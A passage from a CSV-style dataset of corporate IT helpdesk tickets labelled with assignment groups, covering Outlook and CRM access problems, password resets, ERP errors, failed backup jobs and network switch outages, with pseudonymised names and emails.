thursday, september 29, 2016 6:26 pm +to: nwfodmhc exurcwkm +subject: sabrthy fw: synchronization log: +importance: high + +i have lost my access to reporting_tool in crm as per notes below + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com + + + +_____________________________________________ +from: dthyan matheywtyuews +sent: thursday, september 29, 2016 8:23 am +to: dthyan matheywtyuews +subject: synchronization log: +importance: high + + +8:22:28 synchronizer version 16.0.6741 +8:22:28 synchronizing mailbox 'dthyan matheywtyuews' +8:22:28 synchronizing hierarchy +8:22:29 synchronizing local changes in folder 'calendar' +8:22:29 uploading to server ' +8:22:30 1 view(s)/form(s) updated in online folder +8:22:30 synchronizing local changes in folder 'inbox' +8:22:30 uploading to server ' +8:22:31 1 view(s)/form(s) updated in online folder +8:22:31 downloading from server ' +8:22:31 1 item(s) changed read-state in offline folder +8:22:31 synchronizing local changes in folder 'contacts' +8:22:31 uploading to server ' +8:22:32 1 view(s)/form(s) updated in online folder +8:22:32 synchronizing local changes in folder 'tasks' +8:22:32 uploading to server ' +8:22:33 1 view(s)/form(s) updated in online folder +8:22:35 synchronizing server changes in folder 'russ hall - calendar' +8:22:35 downloading from server ' +8:22:35 error synchronizing folder +8:22:35 [91181116-508-91181116-560] +8:22:35 you do not have sufficient permission to perform this operation on this object. see the folder contact or your system administrator. +8:22:35 microsoft exchange information store +8:22:35 for more information on this failure, click the url below: +8:22:35 +8:22:35 done +8:22:59 microsoft exchange offline address book +8:22:59 download successful + +",GRP_0 +outlook not starting outlook not starting ,GRP_0 +frequent account lock out. user : wothyehre is locked out every day.,GRP_0 +unable to login to distributor_tool benoittry is unable to login to distributor_tool. waiting to see if one of the previous passwords (passwords used in erp) was used while resetting in password_management_tool.,GRP_0 +need help in changing password in password_management_tool password manager need help in changing password in password_management_tool password manager,GRP_34 +need developer display access for user uacyltoe hxgayczecp1 in SID_29 system need developer display access for user uacyltoe hxgayczecp1 in SID_29 system,GRP_2 +"outlook issues _x000D_ +_x000D_ +received from: jmvnxtgc.kvhxntqp@gmail.com_x000D_ +_x000D_ +encountring outlook issues._x000D_ +cannot open from pc_x000D_ +urgent._x000D_ +_x000D_ +",GRP_0 +"issue in engineering tool _x000D_ +_x000D_ +received from: eakhgxbw.pfyadjmb@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +i was trying to upload engineering_tool in system. after loading all the details for price, drill details engineering_tool is saved. below is the screen shot which show all details filled._x000D_ +_x000D_ +but i am trying to upload this engineering_tool on server faced an error ,for which screen shot is attached. pl look into this pl resolve this immediately._x000D_ +_x000D_ +all details filled for pricing in uacyltoe hxgaycze sites._x000D_ +_x000D_ +[cid:image009.jpg@01SID_35b03.7527cc40]_x000D_ +_x000D_ +screen shot for error._x000D_ +_x000D_ +_x000D_ +[cid:image013.jpg@01SID_35b03.7527cc40]_x000D_ +",GRP_25 +reset passwords for fkuqjwit jgcsaqzi using password_management_tool password reset. the,GRP_17 +"job bkbackup_tool_reporting_tool_prod_inc failed in job_scheduler at: 09/30/2016 00:08:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +9/30/2016 12:02:31 am :: error: channelerror: connectionreset _x000D_ +_x000D_ +job bkbackup_tool_reporting_tool_prod_inc failed in job_scheduler at: 09/30/2016 00:08:00",GRP_8 +"job bkbackup_tool_HostName_771_prod_full failed in job_scheduler at: 09/29/2016 23:56:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_HostName_771_prod_full failed in job_scheduler at: 09/29/2016 23:56:00",GRP_8 +"erp slow erp system is very slow in apac dc. i asked stefytyn shi to uacyltoe hxgaycze the network. he uacyltoe hxgaycze the network, it about 50% packet loss when ping erp server (81.93.78.714), and he check the data from truview, there only 20% link utilization. and he asked apac plant, erp is slow too. so please check the server and solve the issue.",GRP_0 +"erp can't log on erp disconnected and we can't log on now. _x000D_ +before the disconnection, it took several mins to conduct any action in erp.",GRP_14 +"always get reminder for approval of requisition 01447255, even i approved a lot of times i'm kate liu from apac plant, i can't complete some pr approval, need support_x000D_ +my email: mhikeucr.quaixnbe@gmail.com",GRP_29 +"top urgent! //price issue + +received from: wktesmbp.lorjymef@gmail.com + +dear team， +pls help to maintain the net price of mm#7108755~ +we need to create sto for this material from plant_283 to plant_105 & its net price just shows as ""0.01""~pls. help to maintain it a.s.a.p. cause it's a urgent case~ +thx in advance! +[cid:image001.png@01SID_35b09.55c64b00] + +b.rgds +judthtihty.zhuyhts +company hardpoint apac-wgq dc + +",GRP_29 +"outlook cannot login for notebook _x000D_ +_x000D_ +received from: oydlehun.svnfrxdk@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please help. i cannot login outlook on my notebook._x000D_ +_x000D_ +",GRP_0 +docking station not working docking station not working. no power for laptop,GRP_19 +"cann't do ""mb31"" for po115890552 there is a po 226901663 in plant_282._x000D_ +now,we need ship it out,but we can't do ""mb31"" .please help .",GRP_45 +"india plant - india (): node company-ap-ind-kkc-2960s-access-sw01.company.com & sw02 is down india plant - india (): node company-ap-ind-kkc-2960s-access-sw01.company.com is down +node company-ap-ind-kkc-2960s-access-sw01.company.com located at india kirty is down. +interface down - on gigabitethernet3/1 & gigabitethernet3/6· connection to company-ap-ind-kkc-2960s-access-sw01 - on company-ap-ind-admin-4503-core-sw01.company.com ",GRP_8 +"urgent- mm6173026 dear all + +would you please solve the issue ? +to settle negative stock, i need to do gr with migo manually. +like below, erp said g/l account 23646112 does not exist in company code 534522. + +please let me know how to handle it ? +today is the end of month so please solve it aerp. + + +",GRP_10 +customers and sales are not able to create quotes received over 23 emails and numerous calls from customers and sales they are not able to create quotes. these are the last few days of the quarter and this is a huge risk to lose sales and negatively impact customers.,GRP_21 +"i am not able to service customers - distributor_tool / companycenter login not working unauthorised access. your account has been deleted. please contact help desk._x000D_ +_x000D_ +windows, SID_34, SID_37, SID_39, password_management_tool, bw, hana, reporting_tool, crm, dynamics, outlook etc.... all are fine. ",GRP_21 +ms office general question ms office general question,GRP_0 +"job Job_555 failed in job_scheduler at: 09/29/2016 18:23:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_555 failed in job_scheduler at: 09/29/2016 18:23:00",GRP_8 +can you please help tami receive in the rma below. details of the issue are below this screen shot. i'm not sure how t can you please help tami receive in the rma below. details of the issue are below this screen shot. i'm not sure how to help.,GRP_13 +request to remove 1 day pick route logic from supply_chain for customer 81174536 in plant_101 view. request to remove 1 day pick route logic from supply_chain for customer 81174536 in plant_101 view.,GRP_6 +"crm help needed + +received from: oetlgbfw.bsctrnwp@gmail.com + +i am not getting my reporting_engineering_tools and it says i don't have access to veiw manager reports +please fix aerp + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com +",GRP_0 +"skype goes to not responding mode skype goes to not responding mode + +phone:",GRP_0 +"ms crm login issue. ms crm login issue. +-connected to the user system using teamviewer. +-user is on the company network. +-when user tries to login to the ms crm its gives him a error. +",GRP_40 +ticket update on sev 2 ticket inplant_864860 ticket update on sev 2 ticket inplant_864860,GRP_0 +usa - company-na-usa-usa-shop-3750g-access-sw02 hard down due to storm last night we had some bad storms come through last night and took out a switch on the machine network.,GRP_4 +external link not working in ie external link not working in ie ,GRP_0 +"unable to install mobile app on iphone unable to install mobile app on iphone + +phone: ",GRP_40 +engg work bench login issue. engg work bench login issue.,GRP_0 +"please remove quote from workflow _x000D_ +_x000D_ +received from: lwgytuxq.qspdztiw@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please clear quote 3116211904 from my workflow. this quote no longer exists and should not be showing up in my workflow. see attached screen shot._x000D_ +_x000D_ +",GRP_13 +windows account lock out issue windows account lock out issue ,GRP_0 +"issues with hana + +received from: zdcheloy.aevzsogn@gmail.com + +we are all having issues with hana on our systems. i am on vacation for 2 weeks, but please work with brandeerthy as the lead for getting this fixed. + +we have a defined report that utilized hana to bring in information. it has been working fine but not we seem to have issues: + + +1. when we select analysis the refresh all code is grayed out when we used to be able to just go in and hit refresh all and be done. + +2. i tried inserting the data source for quote performance from where this is built from, but when i do this i get: + +a. when i refresh all, not data changes + +b. when i looked at the display, none of the columns and background filters are appearing any longer. + + +brandeerthy please utilize the canada file in the quote performance canada folder dated 2016 09 29 rev 1 as the uacyltoe hxgaycze one when it calls you. + +",GRP_9 +distributor_tool issues for sales area 1108 please be aware that sales reps and customer are not able ot request a quote through distributor_tool for sales area 1108.,GRP_21 +"printer issue _x000D_ +_x000D_ +received from: iqcylpok.ascpqvni@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +printer ts02 in the purchasing dept. is not sending scans to our emails. can someone look into this please?_x000D_ +_x000D_ +",GRP_3 +add ed sheehy to purchasing ad xszoedmc gmhkdsnw please add oabdfcnk xeuhkoqa (shyheehew2) to purchasingupstreamsso and active directory. the samaccountname in ad is to be all lowercase. ,GRP_2 +swap clients e7350 with e7250 swap clients e7350 with e7250,GRP_3 +cannot get into the lean tracker to save lean events. lean tracker will give me an error when trying to save a lean event. i get an infopath error. ,GRP_0 +need to usa remote access to carolutyu magyarics to repair prepull system used by the usa factory. need to usa remote access to carolutyu magyarics to repair prepull system which is part of the usanet used by the usa factory. carolutyu is an it consultant used in the past to create custom databases and applications to support the business on the production floor. her windows id was vvmagyc. she will require vpn access also along with her administrative rights to repair the sql database. this system has been down for 36 hours and internal it resources at usa and usa have not been able to resolve.,GRP_0 +"for p.o 5019287566 error message _x000D_ +_x000D_ +received from: kaguhxwo.uoyipxqg@gmail.com_x000D_ +_x000D_ +hi it,_x000D_ +please help on this. create dn for po 5019287566. ",GRP_6 +crm installation crm installation,GRP_0 +windows password reset windows password reset,GRP_0 +power outage query power outage query,GRP_0 +reset passwords for hzmxwdrs tcbjyqps using password_management_tool password reset. the,GRP_17 +blank call blank call,GRP_0 +windows password reset request windows password reset request ,GRP_0 +need to check the payslips need to check the payslips,GRP_0 +"configure crm on the outlook configure crm on the outlook _x000D_ +_x000D_ +949 245 8817",GRP_0 +erp SID_39 account locked // password reset erp SID_39 account locked // password reset,GRP_0 +"infopath installation name:nmpworvu upgtrvnj +language: +browser:microsoft internet explorer +email:nmpworvu.upgtrvnj@gmail.com +customer number: +telephone: +summary:i have an issue saving a lean project to infopath",GRP_0 +"skype problem _x000D_ +_x000D_ +received from: pcjtisrv.havyuwds@gmail.com_x000D_ +_x000D_ +hi manjgtiry_x000D_ +_x000D_ +i got again skype problem – but not that big as the last time._x000D_ +_x000D_ +every morning when i start my computer i have to add „skype"" manually (in the add/ins)._x000D_ +_x000D_ +could you please fix this issue aerp? i will be on vacations from oct 2 – oct 17._x000D_ +_x000D_ +",GRP_0 +the back up tape is not ejecting - i am unable to switch tapes for daily back-ups. have not been able to switch the tapes for this week.,GRP_12 +external user called for help for calendar issue external user called for help for calendar issue ,GRP_0 +"can you please remove my email from this mailing list. can you please remove my email from this mailing list. + +from: cesgrtar abgrtyreu +sent: thursday, september 29, 2016 5:12 pm +to: nwfodmhc exurcwkm +subject: ranjhruy re: ergebnis evakuierungsübung 2016 + +hello, + +can you please remove my email from this mailing list. + +",GRP_0 +"job Job_1387 failed in job_scheduler at: 09/29/2016 10:57:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1387 failed in job_scheduler at: 09/29/2016 10:57:00",GRP_9 +spam mail notification spam mail notification,GRP_0 +"urgent help required - crm mobile app issue _x000D_ +_x000D_ +received from: vnetbgio.lqxztben@gmail.com_x000D_ +_x000D_ +we're sorry_x000D_ +you can't connect to the server because it doesn't have a trusted ssl certificate. contact your crm administrator for assistance._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_22 +telefon mit der nummer 1038091558 ist defekt. sinterei germany. bitte reparieren. telefon mit der nummer ist defekt. sinterei germany. bitte reparieren.,GRP_33 +"weekly reboot reminder - backup_tool servers HostName_999, HostName_1048/HostName_1049/HostName_1075 from: root@HostName_189.hq.company.com [mailto:root@HostName_189.hq.company.com] _x000D_ +sent: thursday, september 29, 2016 10:00 am_x000D_ +to: datacenter_x000D_ +subject: weekly reboot reminder - backup_tool servers_x000D_ +_x000D_ + _x000D_ +datacenter,_x000D_ + _x000D_ +please perform the weekly reboot of the azure backup server clhqsm006, backup_tool management server HostName_999, and the backup_tool proxy servers HostName_1048/HostName_1049/HostName_1075, following completion of the daily backup_tool backup processing. _x000D_ + _x000D_ +- raise the job_scheduler batch fence on HostName_999 to 11._x000D_ +- ensure there are no backup jobs running in backup_tool or job_scheduler on HostName_999._x000D_ +- logon to the backup_tool management server HostName_999 and perform a restart. _x000D_ +- after HostName_999 is available, reboot the proxy servers - can boot travel_toolrently._x000D_ +- lower the job_scheduler batch fence on HostName_999 to 9 following all reboots._x000D_ +_x000D_ +- you can reboot clhqsm006 at anytime. _x000D_ + _x000D_ +also, the dell dr4100 storage server is rebooted following the backup_tool server reboots. this server will be rebooted by the administrator (tim r) following completion of the backup_tool reboots. _x000D_ + _x000D_ +_x000D_ +",GRP_8 +probleme mit vpn \wxstfouy isjzcotm probleme mit vpn \wxstfouy isjzcotm,GRP_24 +"no crm tab _x000D_ +_x000D_ +received from: ltsqkane.ycgwexdf@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +i have no crm tab in my outlook page._x000D_ +i was told i need it to fix this._x000D_ +_x000D_ +best ",GRP_0 +stack guard error stack guard error,GRP_0 +"urgent help required- outlook to crm mfg_tooltion issue. + +received from: peojqgvm.qayeptuo@gmail.com + +my outlook does not have the crm ribbon. +please call + + + + +",GRP_0 +"discount form issue from: fnqelwpk ahrskvln _x000D_ +sent: thursday, september 29, 2016 6:02 pm_x000D_ +to: trxsychl xamcuong; nwfodmhc exurcwkm; maliowbg cltnwazh_x000D_ +cc: nmyzehow gnlcripo_x000D_ +subject: amar re: ayuda con conseciones _x000D_ +_x000D_ +_x000D_ +team,_x000D_ +_x000D_ +please help me check marfhtyios collaboration_platform settings. he is getting this errror with the discount tool._x000D_ +_x000D_ +we already talked to rmegscqu juksmtho and it's not an issue with the tool._x000D_ +_x000D_ +",GRP_3 +"email delegation hatryu bau g called in for an issue where he needed access to fuyidkbv koximpja's email as fuyidkbv koximpja has already left the company on 24th of this month. +hatryu is the manager and he needs fuyidkbv koximpja' mailbox to be delegated to him for some important purpose of emails related to customers. please do the needful at the earliest. + +contact no - ",GRP_26 +"computer volume _x000D_ +_x000D_ +received from: fpbmtxei.jtqbcnfs@gmail.com_x000D_ +_x000D_ +i am not getting any volume on my computer. please help fix. i need volume for skype._x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +audio is not working audio is not working,GRP_0 +"chrthryui stavenheim : unbale to login to tess via citrix, user name is ccftv15 from: oinqckds qieswrfu +sent: thursday, september 29, 2016 5:30 pm +to: nwfodmhc exurcwkm +cc: chrthryui stavenheim +subject: trurthyuft aw: tess account + +hello, can someone check whether chrthryui stavenheim can login with his account ccftv15 +via the citrix access +with this access. +please inform him and myself when the issue is fixed as we have to generate turnover and satisfy customers + + +oinqckds qieswrfu +manager tess holemaking design automation +oinqckds.qieswrfu@gmail.com + + +von: chrthryui stavenheim [mailto:chrthryui.stavenheim@bank.se] +gesendet: donnerstag, 29. september 2016 08:12 +an: oinqckds qieswrfu +betreff: tess account + +hello robhyertyj + +i've been unable to login to tess a few weeks now. either password och user name is wrong. user name is ccftv15 +could you please help me out? + + +med vänlig hälsning / best ",GRP_12 +"brxaqlwn auzroqes:332415 / 2016 purchasing check status and reports not seen hello team can you please create a credentials for erp (SID_34) and maintain the same in the safe area. +you can copy same access like - kantthyhn",GRP_2 +engineering_tool error: machining cloud stopped working engineering_tool error: machining cloud stopped working,GRP_0 +general issue general issue,GRP_0 +crm app greyed out crm app greyed out,GRP_0 +uninstallation of adwares from computer uninstallation of adwares from computer,GRP_0 +blank call // loud noise //gso blank call // loud noise //gso,GRP_0 +"problem with company center quick quote + +received from: vkzwafuh.tcjnuswg@gmail.com + +hi, +i'm trying to enter a quote for a distributor in company center. i filled out the information and clicked quick quote. it did nothing. please advise. + +[cid:image001.jpg@01SID_35a25.558fdf50] + +vkzwafuh tcjnuswg - cmp +sr. application eng. +vkzwafuh.tcjnuswg@gmail.com +",GRP_21 +skype issue : personal certificate error skype issue : personal certificate error ,GRP_0 +company center-password changes i have been setting users up in company center and have run into an problem. the passwords i set them up with don't work and i need to reset them. please get back to me as soon as possible because we need to get users up and running in the system,GRP_0 +"EU_tool crashes when confirmations are deleted - not able to remove scrap confirmations that have been rectified in erp there are now over 130 confirmations needing to be deleted since this error was identifies in may. issue was identified to EU_tool support which no longer exists._x000D_ +_x000D_ +i will forward screen capture images to assigned it agent to better explain this error._x000D_ +_x000D_ +alrthyu_x000D_ +",GRP_25 +"network issues _x000D_ +_x000D_ +received from: verena.financial@company.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +at pc eagw8111482sf i have irrecular network issues. sometimes there is no connection to the network possible, after a restart it works again in most cases._x000D_ +the hardware i can reach i checked for disconnection or lax connection._x000D_ +_x000D_ +",GRP_28 +"account lock out issue since last two days. account lock out issue since last two days._x000D_ +",GRP_0 +mqjdyizg amhywoqg - issues with purchasing access. please escalate this issue since mqjdyizg amhywoqg is required to approve sales contracts in purchasing. mqjdyizg amhywoqg is having an issue with accessing purchasing. please review bill's ad and samacocuntname in ad. then contact bihrtyull thadhylman to resolve. ,GRP_0 +"job Job_1132 failed in job_scheduler at: 09/29/2016 08:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1132 failed in job_scheduler at: 09/29/2016 08:00:00",GRP_9 +"delivery creation issue purchase order number 5019291164, delivery creation issue.",GRP_18 +"job Job_1137 failed in job_scheduler at: 09/29/2016 07:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1137 failed in job_scheduler at: 09/29/2016 07:55:00",GRP_8 +xszoedmc gmhkdsnw or skype. contract library access to janhetgdyu fox-chatgrylouy xszoedmc gmhkdsnw 7 or skype. access to collaboration_platform>legal>elengineering toolonic contract management system>libarary>contract archive - industrial folder to janhetgdyu fox-chatgrylouy. please skype janhetgdyu to work with her. ,GRP_16 +"lean tracker - not able to add new event _x000D_ +_x000D_ +received from: fdmobjul.oicarvqt@gmail.com_x000D_ +_x000D_ +need you help_x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35a72.de748da0]_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"spl gl r indicator is missing in customer open items feed. spl gl indicator ""r - bill of exchange payt request"" is missing in customer open items feed.",GRP_10 +ordnerfreigabe für m: kvp3 ordnerfreigabe für m: kvp3,GRP_34 +"hsh + +received from: aksthyuhath.shettythruy@company.com + +hi, + +mr. hatryupsfshytd is unable to login ess portal. please reset the password. + +emp no + +name + +userid + +manager + +20070679 + +aqihfoly xsrkthvf + +hsh + +panghyiraj shthuihog + + + +fyi. + +[cid:image001.png@01SID_35a6c.bb3839a0] + +with ",GRP_0 +aidw700011 needs to format and reinstall. aidw700011 needs to format and reinstall.,GRP_19 +reinstall EU_tool und hardcopy.\acqpinyd ecygimqd reinstall EU_tool und hardcopy.\acqpinyd ecygimqd,GRP_24 +probleme mit companyguest \bctypmjw cbhnxafz probleme mit companyguest \bctypmjw cbhnxafz,GRP_24 +probleme mit hp drucker local .\petljhxi bocxgins probleme mit hp drucker local .\petljhxi bocxgins,GRP_24 +"ich benötige hilfe bei der passwortänderung / und bei skype - mikrophone zuschaltung! ich benötige hilfe bei der passwortänderung / und bei skype - mikrophone zuschaltung!_x000D_ +da ich bei skype meetings zwar andere hören kann diese mich aber nicht hören können. ",GRP_0 +ughzilfm cfibdamq wanted details to check for company guest ughzilfm cfibdamq wanted details to check for company guest,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"automatically generated confirmations from bls aren't transfered to EU_tool system affected: bls (beschichtungsleitstand, engl: coating production system)_x000D_ +_x000D_ +confirmation for process step packing fhurakgsl mldufqov is not transfered to EU_tool. _x000D_ +_x000D_ +sample orders: 226901542, 226907395_x000D_ +",GRP_25 +"i can not create a delivery order number 5019289193nd; error message apo server not o.k mm 4983099 _x000D_ +bestellnumer 5019289193_x000D_ +",GRP_6 +"job Job_593 failed in job_scheduler at: 09/29/2016 04:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +_x000D_ +[critical] from: bda-net@lhqsm435.company.company.com ""lhqsm435.company.company.com [/g]"" time: 9/29/2016 3:16:25 am_x000D_ + ipc failure reading net message (ipc write error_x000D_ + system error: [10053] software caused connection abort_x000D_ +) => aborting._x000D_ +_x000D_ +backup statistics:_x000D_ + _x000D_ + session queuing time (hours) 0.00 _x000D_ + ------------------------------------------- _x000D_ + completed disk agents ........ 37 _x000D_ + failed disk agents ........... 1 _x000D_ + aborted disk agents .......... 0 _x000D_ + ------------------------------------------- _x000D_ + disk agents total ........... 38 _x000D_ + =========================================== _x000D_ + completed media agents ....... 1 _x000D_ + failed media agents .......... 0 _x000D_ + aborted media agents ......... 0 _x000D_ + ------------------------------------------- _x000D_ + media agents total .......... 1 _x000D_ + =========================================== _x000D_ + mbytes total ................. 534700 mb _x000D_ + used media total ............. 1 _x000D_ + disk agent errors total ...... 2 _x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/29/2016 04:17:00",GRP_8 +"engineering tool malfunction _x000D_ +_x000D_ +received from: jkpwisnf.lgpdyncm@gmail.com_x000D_ +_x000D_ +dear sir_x000D_ +yesterday, i upgraded engineering tool application and now i am facing below problem._x000D_ +search and new option is not appearing in customer find/add tab. kindly help to resolve the issue._x000D_ +_x000D_ +[cid:image001.jpg@01SID_35a56.d1291481]_x000D_ +_x000D_ +",GRP_25 +purchasing catalogue de-wollschläger needs immediatly to be deleted the company is bankruped,GRP_29 +"telephony_software problem there are connection problems, while calling the sr. the sr gets a silent line while i get connected with the warehouse_toolmail immediately.",GRP_7 +EU_tool - can not get the transfer times of our employees since today please see the attached email,GRP_25 +vuxdrbng owqplduj : s1- k1 vuxdrbng owqplduj : s1- k1,GRP_0 +"job Job_2645 failed in job_scheduler at: 09/29/2016 03:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2645 failed in job_scheduler at: 09/29/2016 03:30:00",GRP_6 +"selecting customer i cannot select the customer and cannot edit it, see the picture below. there is no button for ""new"" or ""find"" which we had in the previous versions and the ""select"" button is not active",GRP_25 +setup new ws \vuxdrbng owqplduj setup new ws \vuxdrbng owqplduj,GRP_24 +HostName_66:volume: f:\ label:dat1-HostName_66 9a625d75 on server: is over 85% space consumed. space available: 648 k volume: f:\ label:dat1-HostName_66 9a625d75 on server: is over 85% space consumed. space available: 648 k,GRP_12 +reset the password for bzwrchnd ysfiwvmo on windows 登陆 reset the password for bzwrchnd ysfiwvmo on windows 登陆,GRP_0 +"job Job_2588 failed in job_scheduler at: 09/29/2016 01:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2588 failed in job_scheduler at: 09/29/2016 01:30:00",GRP_8 +"outlook funktioniert nicht am rechner evhw8114148 funktioniert outlook nicht mehr._x000D_ +",GRP_0 +lean tracker not opening lean tracker not opening,GRP_0 +account locked in ad account locked in ad,GRP_0 +po5616680457 same tax issue po5616680457 same tax issue,GRP_10 +"modify jb_ecc_bw_zsd531 to pull 36 month sales data from zsd532 table we are in the process of refreshing history in rr and we need to send 3 years sales data from zsd532 table through bobj script jb_ecc_bw_zsd531. please modify the programdnty to pull 36 month data (-1 to -36) from zsd532, once the extract is complete we will switch it back to delta extraction.",GRP_20 +create guest wifi - vvrassyhrt create guest wifi - vvrassyhrt,GRP_34 +i am unable to login to the attendance_tool --so reset my attendance_tool password reset my attendance_tool password ,GRP_0 +"business_client - authorisation hi, + +pl. provide business_client authorization to uypsqcbm fqpybgri for checking/downloading drawings. + +cc: irgsthy , pl. provide your employee id +",GRP_0 +not able to login to skype not able to login to skype,GRP_0 +sound card issue in dell latitude m4800 laptop sound card issue in dell latitude m4800 laptop,GRP_19 +"vpn 不能登录。 [‎2016/‎9/‎29 9:14] daisy huang: _x000D_ +hi, vpn 按照邮件里设置的改了，怎么还是登不上去_x000D_ +your system failed for antivirus check. please ensure the following is true and try again or contact your administrator: your antivirus software is enabled. it is up to date (antivirus database no older than 30 days) you have recently scanned your system (not longer than 7 days ago) _x000D_ +[‎2016/‎9/‎29 9:15] obuwfnkm ufpwmybi: _x000D_ +你的杀毒软件有问题_x000D_ +病毒库没有更新_x000D_ +",GRP_31 +"usa - (company) : interface fastethernet0/16 & gigabitethernet1/0/18 is down since 09:23 pm et on 09/28. interface: fastethernet0/16 · asheshopsw5 on company-na-usa-usa-2950-access-sw02 is down_x000D_ +interface: gigabitethernet1/0/18 · asheshopsw2 on company-na-usa-usa-3850-core-sw01 is down",GRP_8 +"prdord 226040587 226040835 226040589 226901663 can not relese 115939476 226040835 226040589 user status cer1 is active._x000D_ + 226901663 user status cer2 is active._x000D_ +can not create the production order _x000D_ +please help to fix it .",GRP_45 +"can not transfer customer in tracking to crm from: crjhotyk pxslorbe _x000D_ +sent: thursday, september 29, 2016 2:57 am_x000D_ +to: rakthyesh ramdntythanjesh_x000D_ +subject: crm crjhotyk pxslorbe_x000D_ +_x000D_ +can not transfer customer in tracking to crm- should be able to right click and click track to crm, does not work._x000D_ +_x000D_ +",GRP_40 +"hr_tool e-time problems _x000D_ +_x000D_ +received from: nwzhlktu.plktredg@gmail.com_x000D_ +_x000D_ +i am trying to enter etime on the hub but only get this screen: it will not go anywhere from this screen. can this be corrected? please get in touch with me tomorrow during office hours._x000D_ +_x000D_ +[cid:image003.jpg@01SID_359b8.f6a48660]_x000D_ +_x000D_ +best ",GRP_0 +"login issue login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"engineering_tool urgent + +received from: uezonywf.rldbvipu@gmail.com + +i have access to engineering_tools (engineering_tool) but my name doesn't show up in the drop down for salesman or uacyltoe hxgaycze performed by and it isn't allowing me to write it in. can i please be added aerp. + +tommyth duyhurmont +channel partner sales engineer +company inc. + +uezonywf.rldbvipu@gmail.com +www.company.com< + +www.company.com/engineering_tool/en/home.html + +[ + + + + + + + +",GRP_25 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +reset passwords for ytzpxhql ntfxgpms using password_management_tool password reset. password was reset but will not allow reset for SID_34 erp production,GRP_17 +"collaboration_platform for business continues to sync all the time collaboration_platform is using a lot of memory on my computer, it is trying to sync a large number of file +30,000, i try to exit it. i try to end the process nothing works. i would like to uninstall it if possible. can this be fixed? +: contact #",GRP_0 +blank call blank call,GRP_0 +blank call blank call,GRP_0 +frequent account lockout frequent account lockout,GRP_0 +"access to open this link access to open this link for corp contracts + + +i don't have access to open this link for corp contracts +can you please review and usa me access + + + +dthyan matheywtyuews +sales manager gl2 +oetlgbfw.bsctrnwp@gmail.com + +",GRP_16 +"mobile device activation from: tsbnfixp numwqahj +sent: wednesday, september 28, 2016 9:01 pm +to: nwfodmhc exurcwkm +subject: amar wg: die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird. +importance: high + +please usa access for that company owned device. +user-id: grbhybrdg +tsbnfixp numwqahj + +thanking you in anticipation! + +oqlcdvwi pulcqkzo + + +von: microsoft outlook +gesendet: mittwoch, 28. september 2016 17:29 +an: tsbnfixp numwqahj +betreff: die synchronisierung mit exchange activesync ist auf ihrem gerät vorübergehend blockiert, bis der zugriff vom administrator gewährt wird. + +der zugriff von ihrem mobilen gerät auf inhalte über exchange activesync ist vorrübergehend blockiert, da es in quarantäne gestellt ist. sie müssen keine aktion durchführen. der inhalt wird automatisch heruntergeladen, sobald der zugriff vom administrator gewährt wird. + +please ignore the above paragraph. we cannot change it or delete it. + +special note 30-jan-2015: the microsoft outlook app for ios and android released yesterday is not currently approved software for accessing company e-mail. until it is uacyltoe hxgayczeed and approved, please consider using one of the other (1) the embedded e-mail software in your mobile device (2) the browser on your mobile device or (3) the microsoft owa app published for your mobile device platform. + +beginning 01-mar-2012 employees, with supervisor approval, may use personally owned mobile devices to access outlook email. company is moving forward and providing the opportstorage_product for our employees to use specified personally owned devices to allow for productivity improvement and enable work-life balance. this is an addition to the policy for company owned devices. + +currently approved handheld devices can be found in this policy: + +wireless mobility technical document + +the above policy will be updated as other devices are approved for use. + +if you own an approved device and would like to take advantage of this opportstorage_product you can submit a ticketing_tool ticket to the it global support center (gsc). if it is a personally owned device, you need to attach the agreement form found in the wireless mobility standard procedure. this agreement must be signed by you and your next level supervisor and provided to the gsc prior to a ticket being entered. you can attach the signed form to the ticket or send the signed form to the gsc and they will attach it. + +any ticket without the signed form will be cancelled. you have 2 weeks to process and submit the form before your device will be denied (deleted from quarantine). + +wireless mobility standard procedure +informationen zu ihrem mobilen gerät: +gerätemodell: iphone6c2 +gerätetyp: iphone +geräte-id: fvqfj874r56gj3r4jb39kdgu3s +gerätebetriebssystem: ios 10.0.sartlgeo lhqksbdx4a403 +gerätebenutzer-agent: apple-iphone6c2/1401.403 +geräte-imei: +exchange activesync-version: 16.0 +gerätezugriffsstatus: quarantined +grund für gerätezugriffsstatus: global +um 28.09.2016 15:28:41 an tsbnfixp.numwqahj@gmail.com gesendet. +",GRP_0 +correct billing errors vfx3 to correct attached listed errors,GRP_10 +"i did a po and it received with no problem, i try to ship thru pweaver in erp and it tells me the server 